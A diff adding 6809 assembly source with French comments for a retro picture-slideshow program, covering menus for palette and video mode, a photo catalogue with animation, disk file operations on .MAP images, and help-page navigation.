+
+       LDB    #$48     hexa palette
+       JSR    FENCH
+       LDX    #BUF
+       PULS   D
+       JSR    BINHX2
+       LDX    #BUF
+       LDB    1,X
+       JSR    FENPUT
+       LDB    #HT
+       JSR    FENPUT
+       LDB    2,X
+       JSR    FENPUT
+       LDB    #HT
+       JSR    FENPUT
+       LDB    3,X
+       JSR    FENPUT
+
+       LEAX   MPAL,S  coul tour
+       LDA    MTOUR,S
+       LSLA
+       LDY    A,X
+       LDA    #PARME
+       LDX    #0
+       JSR    SETP
+       LDB    #$59
+       JSR    FENCH
+       CLRA
+       LDB    MTOUR,S
+       LDX    #BUF
+       LDY    #2
+       JSR    BINDCD
+       JSR    FENEDI
+
+       LDB    #$4D     mode vidéo
+       JSR    FENCH
+       LDX    MMODE,S
+       LEAX   2,X
+       JSR    FENEDI
+
+EXECI1 JSR    FENACT
+
+EXECI2 JSR    FENPOP
+       TSTB
+       BEQ    EXECI2    ->
+       CMPB   #$54      +Tour
+       LBEQ   XIPLT     ->
+       CMPB   #$55      -Tour
+       LBEQ   XIMNT     ->
+       CMPB   #$50      +Palette
+       LBEQ   XIPLP     ->
+       CMPB   #$51      -Palette
+       LBEQ   XIMNP     ->
+       CMPB   #$42      +Bleu
+       LBEQ   XIPLB     ->
+       CMPB   #$43      -Bleu
+       LBEQ   XIMNB     ->
+       CMPB   #$56      +Vert
+       LBEQ   XIPLV     ->
+       CMPB   #$57      -Vert
+       LBEQ   XIMNV     ->
+       CMPB   #$52      +Rouge
+       LBEQ   XIPLR     ->
+       CMPB   #$53      -Rouge
+       LBEQ   XIMNR     ->
+       CMPB   #$4D      Mode
+       LBEQ   XIMOD     ->
+
+       CMPB   #RC
+       LBEQ   XIRC      ->
+       CMPB   #FF       RAZ
+       LBEQ   XIRET     ->
+       LBRA   EXECI2    ->
+
+*** mode
+XIMOD  EQU    *
+       LDX    MMODE,S
+       LEAX   17,X
+       STX    MMODE,S
+       LDA    ,X
+       CMPA   #$FF
+       LBNE   EXECI0    ->
+       LDX    #TMNGR
+       STX    MMODE,S
+       LBRA   EXECI0    ->
+
+*** + tour
+XIPLT  EQU    *
+       INC    MTOUR,S
+       LDA    MTOUR,S
+       CMPA   #16
+       LBLT   EXECI0    ->
+       CLR    MTOUR,S
+       LBRA   EXECI0    ->
+
+*** - tour
+XIMNT  EQU    *
+       DEC    MTOUR,S
+       LBGE   EXECI0    ->
+       LDA    #15
+       STA    MTOUR,S
+       LBRA   EXECI0    ->
+
+*** + palette
+XIPLP  EQU    *
+       INC    NOPAL,S
+       LDA    NOPAL,S
+       CMPA   #16
+       LBLT   EXCI00    ->
+       CLR    NOPAL,S
+       LBRA   EXCI00    ->
+
+*** - palette
+XIMNP  EQU    *
+       DEC    NOPAL,S
+       LBGE   EXCI00    ->
+       LDA    #15
+       STA    NOPAL,S
+       LBRA   EXCI00    ->
+
+*** + bleu
+XIPLB  EQU    *
+       INC    PBLEU,S
+       LDA    PBLEU,S
+       CMPA   #16
+       LBLT   EXECI0    ->
+       CLR    PBLEU,S
+       LBRA   EXECI0    ->
+
+*** -bleu
+XIMNB  EQU    *
+       DEC    PBLEU,S
+       LBGE   EXECI0    ->
+       LDA    #15
+       STA    PBLEU,S
+       LBRA   EXECI0    ->
+
+*** + vert
+XIPLV  EQU    *
+       INC    PVERT,S
+       LDA    PVERT,S
+       CMPA   #16
+       LBLT   EXECI0    ->
+       CLR    PVERT,S
+       LBRA   EXECI0    ->
+
+*** - vert
+XIMNV  EQU    *
+       DEC    PVERT,S
+       LBGE   EXECI0    ->
+       LDA    #15
+       STA    PVERT,S
+       LBRA   EXECI0    ->
+
+*** + rouge
+XIPLR  EQU    *
+       INC    PROUGE,S
+       LDA    PROUGE,S
+       CMPA   #16
+       LBLT   EXECI0    ->
+       CLR    PROUGE,S
+       LBRA   EXECI0    ->
+
+*** - rouge
+XIMNR  EQU    *
+       DEC    PROUGE,S
+       LBGE   EXECI0    ->
+       LDA    #15
+       STA    PROUGE,S
+       LBRA   EXECI0    ->
+
+*** validation
+XIRC   EQU    *
+       LDA    MTOUR,S   tour
+       STA    TOUR
+       STA    TOUPHO
+
+       LDA    #16
+       LEAX   MPAL,S
+       LDY    #PALPHO
+ECPAI  LDU    ,X++
+       STU    ,Y++
+       DECA
+       BNE    ECPAI     ->
+
+       LDA    #16
+       LEAX   MPAL,S
+       LDY    #PALETE
+ECPAI1 LDU    ,X++
+       STU    ,Y++
+       DECA
+       BNE    ECPAI1    ->
+
+       LDA    NUMPHO
+       LDX    #TABMOD
+       LDY    MMODE,S
+       LDB    ,Y
+       STB    A,X       mode "hard"
+       LDB    1,Y
+       STB    MBSPHO    mode "basic"
+       LDA    #15
+       LDX    #0
+       LDY    PALDEF+30
+       JSR    SETP
+
+       LDB    #1
+       JSR    FENFER
+       JSR    SELMOD
+       JSR    FENACT
+       LDB    #$FF
+       LEAS   39,S
+       RTS              ->>
+
+* Fin menu info video
+*---------------------------------------
+
+XIRET  CLRB
+       JSR    FENFER
+       LDA    #ORANGE
+       LDX    #0
+       LDY    PALDEF+30
+       JSR    SETP
+       LDA    #PARME
+       LDX    #0
+       LDY    PALDEF+26
+       JSR    SETP
+       JSR    FENACT
+       CLRB
+       LEAS   39,S
+       RTS
+
+
+*=======================================
+* S/P menu déroulant gestion diaporama
+*=======================================
+
+MENCAT EQU    *
+       LEAS   -3,S
+PHO    SET    0
+PHONEW SET    1
+CPTR   SET    2
+*---------------------------------------
+
+       LDX    #FFPEL
+       LDD    #$0101
+       JSR    FENOUV
+
+* Compteur anim.
+
+       LDD    MEMTPO
+       LDY    #2
+       LDX    #BUF
+       JSR    BINDCD
+       LDB    #255
+       JSR    FENCH
+       LDX    #BUF
+       JSR    FENEDI
+
+* Interdire et tramer les photos non
+* accessibles
+
+EXECC0 LDA    MAXPHO
+       STA    PHO,S
+BINVPH INC    PHO,S
+       LDB    PHO,S
+       CMPB   #22
+       BEQ    EXECC1   ->
+       ADDB   #200
+       JSR    FENCH
+       JSR    FENTRA
+       LDB    #INTERD
+       STB    VAL,X
+       BRA    BINVPH    ->
+
+* visualiser les noms
+
+EXECC1 LDB    #-1
+       STB    PHO,S
+BVINM  INC    PHO,S
+       LDB    PHO,S
+       CMPB   #22
+       BEQ    EXECC2   ->
+       LDX    #TABPHO
+       TST    B,X
+       BEQ    BVINM    ->
+       ADDB   #200
+       JSR    FENCH
+       LDX    #TABNOM
+       LDB    PHO,S
+       LDA    #8
+       MUL
+       LEAX   B,X
+       LDA    #8
+BVINM1 LDB    ,X+
+       JSR    FENPUT
+       DECA
+       BNE    BVINM1    ->
+       BRA    BVINM     ->
+
+EXECC2 LDA    #$FF
+       STA    PHO,S     photo sélectioné
+       JSR    FENACT
+
+EXECC3 JSR    FEN
+       TSTB
+       BEQ    EXECC3    ->
+       CMPB   #$56      V
+       LBEQ   XCVOIR    ->
+       CMPB   #$53      S
+       LBEQ   XCSUP     ->
+       CMPB   #$41      A
+       LBEQ   XCANIM    ->
+       CMPB   #$45      E
+       LBEQ   XCECHA    ->
+       CMPB   #FF       RAZ
+       LBEQ   XCRET     ->
+       CMPB   #200
+       BCS    EXECC3    ->
+       CMPB   #222
+       BCC    EXECC3    ->
+
+*** Sélection de l'une des photos
+*** 200..221 -> 0..21
+       SUBB   #200
+       CMPB   MAXPHO
+       LBGT   EXECC3    ->
+       STB    PHONEW,S
+       CMPB   PHO,S
+       LBEQ   SERD1     sup select ->
+
+       TST    PHO,S
+       LBMI   SERD0     ->
+
+       LDB    #$45      2ème select.
+       JSR    FENCH
+       LDB    VAL,X
+       CMPB   #OFF
+       LBEQ   SERD00    ->
+       LDB    #OFF      mode echange
+       STB    VAL,X
+       JSR    FENIVD
+
+       LDX    #TABPHO   Echange des type
+       LDA    PHO,S
+       LDB    A,X
+       STB    CPTR,S
+
+       LDB    PHONEW,S
+       LDB    B,X
+       STB    A,X
+
+       LDA    PHONEW,S
+       LDB    CPTR,S
+       STB    A,X
+
+       LDX    #TABMOD   Echange des mode
+       LDA    PHO,S
+       LDB    A,X
+       STB    CPTR,S
+
+       LDB    PHONEW,S
+       LDB    B,X
+       STB    A,X
+
+       LDA    PHONEW,S
+       LDB    CPTR,S
+       STB    A,X
+
+       LDX    #TABBK    Echange des bank
+       LDA    PHO,S
+       LDB    A,X
+       STB    CPTR,S
+
+       LDB    PHONEW,S
+       LDB    B,X
+       STB    A,X
+
+       LDA    PHONEW,S
+       LDB    CPTR,S
+       STB    A,X
+
+       LDX    #TABNOM   Echange des noms
+       LDA    PHO,S
+       LDB    #8
+       MUL
+       LEAX   B,X
+       LDY    #TABNOM
+       LDA    PHONEW,S
+       LDB    #8
+       MUL
+       LEAY   B,Y
+
+       LDU    #8
+XGNM   LDA    ,X
+       LDB    ,Y
+       STA    ,Y+
+       STB    ,X+
+       LEAU   -1,U
+       CMPU   #0
+       BNE    XGNM      ->
+
+       LDA    PHO,S     cas d'une des
+       LDB    PHONEW,S
+*      CMPA   PHOTIR
+       BEQ    EXGVI0    ->
+       EXG    A,B
+*      CMPA   PHOTIR
+       BEQ    EXGVI0    ->
+       BRA    EXGVID    ->
+EXGVI0 EQU    *
+*XGVI0 STB    PHOTIR
+
+EXGVID JSR    FENDES
+       LDB    PHO,S     restaure vidéo
+       ADDB   #200      des 2 photos
+       JSR    FENCH
+       JSR    FENIVD
+       LDB    PHO,S
+       LDA    #8
+       MUL
+       LDX    #TABNOM
+       LEAX   B,X
+       LDA    #8
+EXGV0  LDB    ,X+
+       JSR    FENPUT
+       DECA
+       BNE    EXGV0     ->
+
+       LDB    PHONEW,S
+       ADDB   #200
+       JSR    FENCH
+       JSR    FENIVD
+       LDB    PHONEW,S
+       LDA    #8
+       MUL
+       LDX    #TABNOM
+       LEAX   B,X
+       LDA    #8
+EXGV1  LDB    ,X+
+       JSR    FENPUT
+       DECA
+       BNE    EXGV1     ->
+
+       JSR    FENCNT
+
+       LDA    #$FF
+       STA    PHO,S
+       LBRA   EXECC3    ->
+
+SERD00 JSR    FENDES    raz autre sélect
+       LDB    PHO,S
+       ADDB   #200
+       JSR    FENCH
+       JSR    FENIVD
+       JSR    FENCNT
+SERD0  LDB    PHONEW,S
+       STB    PHO,S
+       LBRA   EXECC3    ->
+
+SERD1  JSR    FENDES
+       LDA    #$FF
+       STA    PHO,S
+       LDB    #$45
+       JSR    FENCH
+       LDA    VAL,X
+       CMPA   #ON
+       BEQ    SERD10    ->
+       JSR    FENCNT
+       LBRA   EXECC3    ->
+SERD10 LDB    #OFF      invalide mode
+       STB    VAL,X     échange
+       JSR    FENIVD
+       LBRA   EXECC1    ->
+
+*** Voir la photo sélectionnée
+XCVOIR EQU    *
+       LDB    PHO,S
+       LBMI   EXECC3    ->
+       STB    NUMPHO
+
+       LDB    #2        retour niveau 1
+       JSR    FENFER
+
+       JSR    SELMOD
+
+       JSR    DECPHO
+
+       JSR    FENACT
+       LEAS   3,S
+       LDB    #$FF
+       RTS              ->>
+
+*** positionnement flag "echange"
+XCECHA EQU    *
+       LDB    PHO,S
+       LBPL   EXECC3    ->
+
+       LDB    #$45
+       JSR    FENCH
+       LDA    VAL,X
+       CMPA   #OFF
+       LBEQ   EXECC3    ->
+       JSR    FENDES    interdit si pas
+       LDB    #$45      de sélection
+       JSR    FENCH
+       LDB    #OFF
+       STB    VAL,X
+       JSR    FENIVD
+       JSR    FENCNT
+       LBRA   EXECC3    ->
+
+*** Supprimer la photo sélectionnée
+XCSUP  EQU    *
+       LDA    PHO,S
+       LBMI   EXECC3    ->
+
+       JSR    DELPHO
+       EXG    A,B
+       ADDB   #200
+       JSR    FENCH
+       JSR    FENFON
+       LBRA   EXECC1    ->
+
+*** Animer la pellicule
+XCANIM EQU    *
+       LDX    #TABPHO   verif pas tout
+       CLRA             vierge
+       CLR    CPTR,S
+BVERIR TST    A,X
+       BEQ    SVERIR    ->
+       INC    CPTR,S
+SVERIR INCA
+       CMPA   MAXPHO
+       BLE    BVERIR    ->
+       LDA    CPTR,S
+       CMPA   #1
+       LBLE   EXECC3    ->
+
+       LDB    #255
+       LDX    #BUF
+       JSR    FENLCZ
+       LDD    #0
+       LDY    #100
+       JSR    DECBIN
+       STD    MEMTPO
+       STB    CPTR,S    memo
+
+       LDB    #2        retour niveau 1
+       JSR    FENFER
+
+       LDA    NUMPHO
+       STA    PHO,S
+       LBRA   XXBAN1    ->
+BANIM  JSR    GETC      test interrup.
+       TSTB
+       BNE    BANSTO    ->
+       JSR    LPIN
+       BCC    XBANIM    ->
+BANSTO JSR    FORCV0    page vid 0
+       JSR    SELDEF    mode vidéo def.
+       LDA    #DBKPIL
+       STA    BANKC
+       LDX    #$A000    conf. interrup.
+       LDD    #$0D11
+       JSR    TBREAK
+       LBCS   FBANIM    ->
+       LDX    #500
+
+XBANIM TST    MEMTPO+1
+       BEQ    XXBAN1    ->
+       LEAX   -1,X
+       BNE    BANIM     ->
+       LDX    #500
+       DEC    CPTR,S
+       BNE    BANIM     ->
+       LDA    MEMTPO+1
+       STA    CPTR,S    compteur en sec
+
+XXBAN1 LDX    #TABPHO
+       LDA    NUMPHO
+XXBANI TST    A,X
+       BNE    XXXBAN    ->
+       INCA
+       CMPA   MAXPHO
+       BLE    XXBANI    ->
+       CLRA
+       BRA    XXBANI    ->
+
+XXXBAN STA    NUMPHO
+       STA    PHO,S     pour abandon
+       JSR    DCCPHO
+
+       LDX    #666
+
+       INC    NUMPHO
+       LDA    NUMPHO
+       CMPA   MAXPHO
+       LBLE   BANIM     ->
+       CLR    NUMPHO
+       LBRA   BANIM     ->
+
+FBANIM LDA    PHO,S
+       STA    NUMPHO
+       JSR    SELMOD
+       JSR    FENACT
+       LEAS   3,S
+       LDB    #$FF
+       RTS              ->>
+
+* Fin menu catalogue
+*---------------------------------------
+
+XCRET  LDB    #2        retour niveau 1
+       JSR    FENFER    car photo peut
+       JSR    SELMOD    etre supprimée
+       JSR    DECPHO    ou echangée
+       JSR    FENACT
+       LDB    #$FF
+       LEAS   3,S
+       RTS
+
+
+*=======================================
+* S/P menu déroulant de gestion fichier
+*=======================================
+
+MENFIC EQU    *
+       LEAS   -2,S
+MANO   SET    0
+*---------------------------------------
+
+       LDX    #FENFIC
+       LDD    3,X
+       JSR    POPUP
+       JSR    FENOUV
+
+EXECF0 LDB    #ESC
+       JSR    PUTC
+       LDB    #$4D
+       JSR    PUTC
+       LDB    #BLANC
+       JSR    FENCF
+       LDD    #$0211   Disque courant
+       LDY    #$0201
+       JSR    FENLOF
+       LDB    DKDRV
+       ADDB   #$30
+       JSR    PUTC
+       LDB    #TRANSP
+       JSR    FENCF
+       LDB    #ESC
+       JSR    PUTC
+       LDB    #$4C
+       JSR    PUTC
+
+EXECF1 JSR    FENACT
+
+
+EXECF2 JSR    FENPOP
+       TSTB
+       BEQ    EXECF2    ->
+       CMPB   #$50      P
+       LBEQ   XFUNIT    ->
+       CMPB   #$49      I
+       LBEQ   XFINIT    ->
+       CMPB   #$43      C
+       LBEQ   XFCATA    ->
+       CMPB   #$52      R
+       LBEQ   XFRENO    ->
+       CMPB   #$53      S
+       LBEQ   XFSUPR    ->
+       CMPB   #$44      D
+       LBEQ   XFDUPL    ->
+       CMPB   #$4C      L
+       LBEQ   XFLIRE    ->
+       CMPB   #$45      E
+       LBEQ   XFECRI    ->
+       CMPB   #FF       RAZ
+       LBEQ   XFRET     ->
+       LBRA   EXECF2    ->
+
+*** Préciser unité
+XFUNIT EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDA    #11
+       LDB    #24
+       LBSR   POPUP
+       JSR    FENOUV
+       LDA    BKMANO    manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #$FFFF
+       LBSR   DOSSEL
+       CLRB
+       LBSR   FENFER
+       LDB    #$50      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF0    ->
+
+*** Initialiser
+XFINIT EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDA    #15
+       LDB    #24
+       LBSR   POPUP
+       JSR    FENOUV
+       LDA    BKMANO    manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSINI
+       CLRB
+       LBSR   FENFER
+       LDB    #$49      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Catalogue
+XFCATA EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDD    #$0200
+       LBSR   FENOUV
+       LDA    BKMANO    manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSCAT
+       CLRB
+       LBSR   FENFER
+       LDB    #$43      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Renommer fichier
+XFRENO EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDD    #$0500
+       LBSR   FENOUV
+       LDA    BKMANO    manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSREN
+       CLRB
+       LBSR   FENFER
+       LDB    #$52      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Supprimer fichier
+XFSUPR EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDD    #$0500
+       LBSR   FENOUV
+       LDA    BKMANO    manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSSUP
+       CLRB
+       LBSR   FENFER
+       LDB    #$53      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Dupliquer fichier
+XFDUPL EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   Sélection
+       LDD    #$0500
+       LBSR   FENOUV
+       LDA    BKMANO    manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSDUP
+       CLRB
+       LBSR   FENFER
+       LDB    #$44      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Lire fichier
+XFLIRE EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+
+       LDB    #$10
+       JSR    FENCH
+       LDB    VAL,X
+       CMPB   #ON
+       LBEQ   XFLALB    ->
+
+*      lecture unitaire
+
+       LDX    #FILNAM   filtre .MAP
+XLIRZ  CLR    ,X+
+       CMPX   #FILNAM+8
+       BNE    XLIRZ     ->
+       LDD    #$4D41
+       STD    ,X++
+       LDA    #$50
+       STA    ,X+
+       LDX    #FENVID   sélection
+       LDD    #$0500
+       LBSR   FENOUV
+       LDA    BKMANO    manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #MLIRE
+       LBSR   DOSFIL
+       LBEQ   XLIRZ9    RAZ    ->
+       LBCS   XLIRZ9    erreur ->
+
+       LDX    #FILNAM   fich cour.
+       LDY    #DESCOU
+BMEMFC LDA    ,X+
+       STA    ,Y+
+       CMPX   #FILNAM+8
+       BNE    BMEMFC    ->
+
+       LDA    NUMPHO
+       STA    OLDPHO
+       JSR    PHOCH     recherche disp.
+       LBCS   XLIRZ9    pas ->
+       CLRA
+       JSR    LECPHO    lecture photo
+       LBCS   XLIRZF    ->
+
+* Nb: un FENFER de 2 niveau est executé
+*     dans LECPHO !!!
+
+CPNOF  JSR    SELMOD
+       JSR    FENACT
+       LEAS   2,S
+       LDB    #$FF
+       RTS              ->>
+
+*      lecture générique
+
+XFLALB LDX    #FILNAM   filtre 00.MAP
+XLIRZG CLR    ,X+
+       CMPX   #FILNAM+6
+       BNE    XLIRZG    ->
+       LDD    #$3030
+       STD    ,X++
+       LDD    #$4D41
+       STD    ,X++
+       LDA    #$50
+       STA    ,X+
+       LDX    #FENVID   sélection
+       LDD    #$0500
+       LBSR   FENOUV
+       LDA    BKMANO    manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #MLIRE
+       LBSR   DOSFIL
+       LBEQ   XLIRZ9    RAZ    ->
+       LBCS   XLIRZ9    erreur ->
+
+       LDX    #FILNAM   fich cour.
+       LDY    #DESALB
+BMEMFG LDA    ,X+
+       STA    ,Y+
+       CMPX   #FILNAM+8
+       BNE    BMEMFG    ->
+
+       CLR    NUMALB
+
+       LDA    NUMPHO    1ere
+       STA    OLDPHO
+       JSR    PHOCH     recherche disp.
+       LBCS   XLIRZ9    Pas    ->
+       CLRA             1ére existe !
+       JSR    LECPHO    lecture photo
+       LBCS   XLIRZF    ->
+       BRA    CPNO3     ->
+
+CPNO2  LDA    NUMPHO
+       STA    OLDPHO
+       JSR    PHOCH     pas 1ere
+       BCC    CPNO2B    ->
+       LDA    OLDPHO
+       STA    NUMPHO
+       LBRA   CPNOF     ->
+CPNO2B LDA    #$FF      suivante facult
+       JSR    LECPHO
+       BCC    CPNO3     ->
+       LDA    OLDPHO
+       STA    NUMPHO
+       LBRA   CPNOF     ->
+
+CPNO3  JSR    GETC      test interrup.
+       TSTB
+       BNE    CPNOTB    ->
+       JSR    LPIN
+       BCC    CPNOCN    ->
+CPNOTB JSR    SELDEF    mode vidéo def.
+       LDA    #DBKPIL
+       STA    BANKC
+       LDX    #$A000    conf. interrup.
+       LDD    #$0D11
+       JSR    TBREAK
+       PSHS   CC
+*      LDA    OLDPHO
+*      STA    NUMPHO
+       JSR    SELMOD
+       PULS   CC
+       LBCS   CPNOF     ->
+
+CPNOCN INC    NUMALB
+       CLRA             composition nom
+       LDB    NUMALB    fichier suivant
+       LDX    #FILNAM+6
+       LDY    #2
+       JSR    BINDCD
+       LDA    FILNAM+6
+       CMPA   #$20
+       LBNE   CPNO2     ->
+       LDA    #$30
+       STA    FILNAM+6
+       LBRA   CPNO2     ->
+
+XLIRZF LDA    OLDPHO
+       STA    NUMPHO
+XLIRZ9 CLRB
+       LBSR   FENFER
+       LDB    #$4C      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Ecrire fichier
+XFECRI EQU    *
+       JSR    FENCH
+       JSR    FENIVD
+
+       LDB    #$10
+       JSR    FENCH
+       LDB    VAL,X
+       CMPB   #ON
+       LBNE   XFECR1    ->
+
+*      écriture générique
+
+       CLR    NUMALB
+       LDX    #TABPHO   verif pas tout
+       CLRA             vierge
+BVERIE LDB    A,X
+       BNE    ECAL11    ->
+       INCA
+       CMPA   MAXPHO
+       BLE    BVERIE    ->
+       LDX    #MPELVI
+       JSR    FENERR
+       LBRA   XFECRF    ->
+
+ECAL11 STA    PRMPHO
+       LDX    #FENVID   Sélection
+       LDD    #$0505
+       LBSR   FENOUV
+
+ECAL13 LDY    #FILNAM   nom défaut
+       LDX    #DESALB
+       LDA    #6
+ECAL19 LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    ECAL19    ->
+       LDD    #$2323
+       STD    ,Y++
+       LDD    #$4D41
+       STD    ,Y++
+       LDA    #$50
+       STA    ,Y+
+
+       LDX    #MCOMAL
+       LDA    #8
+ECAL10 LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    ECAL10    ->
+
+       LDA    BKMANO    saisir nom
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #MVPEL
+       LBSR   DOSCZI
+       LBEQ   XFCRFF    RAZ    ->
+       LBCS   XFCRFF    erreur ->
+
+       LDD    FILNAM+6  vérifier numéro
+       CMPD   #$2323             libre
+       BEQ    ECAL12    ->
+       LDX    #MNUMP
+       JSR    FENERR
+       LDD    #0
+       JSR    FENLOF
+       BRA    ECAL13    ->
+
+ECAL12 LDD    #$3030
+       STD    FILNAM+6  1er fichier
+       LDD    #$0309    vérifier non
+       LBSR   FENLOF    existence (1er!)
+       JSR    DOSTST
+       LBCS   XFCRFF    existe ->
+
+       LDB    #2
+       JSR    FENFER
+
+       LDA    NUMPHO
+       STA    OLDPHO
+       LDA    PRMPHO
+       STA    NUMPHO
+
+ECAL14 JSR    GETC      test interrup.
+       TSTB
+       BNE    ECALTB    ->
+       JSR    LPIN
+       BCC    ECALCN    ->
+ECALTB JSR    SELDEF    mode vidéo def.
+       LDA    #DBKPIL
+       STA    BANKC
+       LDX    #$A000    conf. interrup.
+       LDD    #$0D11
+       JSR    TBREAK
+       LBCS   ECAL2S    ->
+
+ECALCN JSR    DECPHO
+
+       JSR    ECRPHO
+       LBCS   ECAL3S    erreur ->
+
+       LDX    #TABPHO
+       LDA    NUMPHO
+       STA    OLDPHO
+ECAL15 INCA
+       STA    NUMPHO
+       CMPA   MAXPHO
+       BGT    ECAL2S    ->
+       TST    A,X
+       BEQ    ECAL15    ->
+       LDX    #FILNAM+6 nouveau nom
+       INC    NUMALB
+       CLRA
+       LDB    NUMALB
+       LDY    #2
+       JSR    BINDCD
+       LDA    #$4D
+       STA    FILNAM+8  (0 de fin!)
+       LDA    FILNAM+6
+       CMPA   #$20
+       BNE    ECAL14    ->
+       LDA    #$30
+       STA    FILNAM+6
+       BRA    ECAL14    ->
+
+ECAL2S LDA    OLDPHO    arret
+       STA    NUMPHO
+       LDX    #FILNAM+6 nouveau nom
+       INC    NUMALB    pour purge suiv.
+       CLRA
+       LDB    NUMALB
+       LDY    #2
+       JSR    BINDCD
+       LDA    #$4D
+       STA    FILNAM+8
+       LDA    FILNAM+6
+       CMPA   #$20
+       BNE    ECA22S    ->
+       LDA    #$30
+       STA    FILNAM+6
+ECA22S LDB    #KILL
+       JSR    EXTRA
+       TSTB
+       BEQ    ECAL2S    ->
+ECAL3S JSR    SELMOD
+       JSR    FENACT
+       LEAS   2,S
+       LDB    #$FF
+       RTS              ->>
+
+*      écriture unitaire
+
+XFECR1 LDA    NUMPHO
+       LDX    #TABPHO
+       TST    A,X
+       BNE    ECPH0     ->
+       LDX    #MPASPH   pas de photo
+       JSR    FENERR      courante !
+       LBRA   XFECRF    ->
+
+ECPH0  LDX    #FENVID   Sélection
+       LDD    #$0505
+       LBSR   FENOUV
+
+       LDY    #FILNAM   nom défaut
+       LDX    #DESCOU
+       LDA    #8
+ECAL0  LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    ECAL0     ->
+       LDD    #$4D41
+       STD    ,Y++
+       LDA    #$50
+       STA    ,Y+
+
+       LDX    #MCOMAL
+       LDA    #8
+ECAL00 LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    ECAL00    ->
+
+       LDA    BKMANO
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #MVFICH
+       LBSR   DOSCZI
+       LBEQ   XFCRFF    RAZ    ->
+       LBCS   XFCRFF    erreur ->
+
+       LDD    #$0309    vérifier non
+       LBSR   FENLOF    existence
+       JSR    DOSTST
+       LBCS   XFCRFF    existe ->
+
+       LDB    #2
+       JSR    FENFER
+
+       JSR    SELMOD
+
+       JSR    ECRPHO
+
+       JSR    FENACT
+       LEAS   2,S
+       LDB    #$FF
+       RTS              ->>
+
+XFCRFF CLRB
+       JSR    FENFER
+
+XFECRF LDB    #$45
+       JSR    FENCH
+       JSR    FENIVD
+       LBRA   EXECF1    ->
+
+* Fin menu fichier
+*---------------------------------------
+
+XFRET  CLRB
+       JSR    FENFER
+       JSR    FENACT
+       CLRB
+       LEAS   2,S
+       RTS
+
+*=======================================
+* S/P mode d'emploi
+*=======================================
+
+       FDB    0
+TABHLP FDB    HLP1
+       FDB    HLP2
+       FDB    HLP3
+       FDB    HLP4
+       FDB    HLP5
+       FDB    HLP6
+       FDB    HLP7
+       FDB    0
+
+EMPPHO EQU    *
+       LEAS   -2,S
+PTHLP  SET    0
+*---------------------------------------
+
+       LDX    #FENHLP
+       LDD    #$0000
+       JSR    FENOUV
+
+       LDD    #TABHLP
+       STD    PTHLP,S
+
+EXECM0 LDD    #$0301
+       LDY    #$1326
+       JSR    FENLOF
+       JSR    FENFON
+
+       LDD    #$0100
+       LDY    #$1226
+       JSR    FENLOR
+       LDX    [PTHLP,S]
+       JSR    FENTXT
+
+       LDX    [PTHLP,S]
+       CMPX   #HLP5
+       BNE    EXECM1    ->
+       LDX    #MIGDIN
+       LDY    #BUF
+BCOPMG LDA    ,X+
+       STA    ,Y+
+       CMPX   #FMIGDI
+       BNE    BCOPMG    ->
+
+       LDX    #BUF
+       LDB    #MIG
+       JSR    EXTRA
+
+EXECM1 JSR    FENACT
+
+EXECM2 JSR    FEN
+       CMPB   #FF
+       LBEQ   XMRET     ->
+       CMPB   #RC
+       LBEQ   XMRET     ->
+       CMPB   #LF
+       LBEQ   HLPSUI    ->
+       CMPB   #VT
+       LBEQ   HLPPRE    ->
+       BRA    EXECM2    ->
+
+*** passage à la page help suivante
+HLPSUI EQU    *
+       LDX    PTHLP,S
+       LEAX   2,X
+       LDD    ,X
+       CMPD   #0
+       BEQ    PBSHLP    ->
+       STX    PTHLP,S
+       JSR    FENDES
+       LBRA   EXECM0    ->
+PBSHLP LDB    #7
+       JSR    FENPUT
+       LBRA   EXECM2
+
+*** passage à la page help précédente
+HLPPRE EQU    *
+       LDX    PTHLP,S
+       LEAX   -2,X
+       LDD    ,X
+       CMPD   #0
+       BEQ    PBPHLP    ->
+       STX    PTHLP,S
+       JSR    FENDES
+       LBRA   EXECM0    ->
+PBPHLP LDB    #7
+       JSR    FENPUT
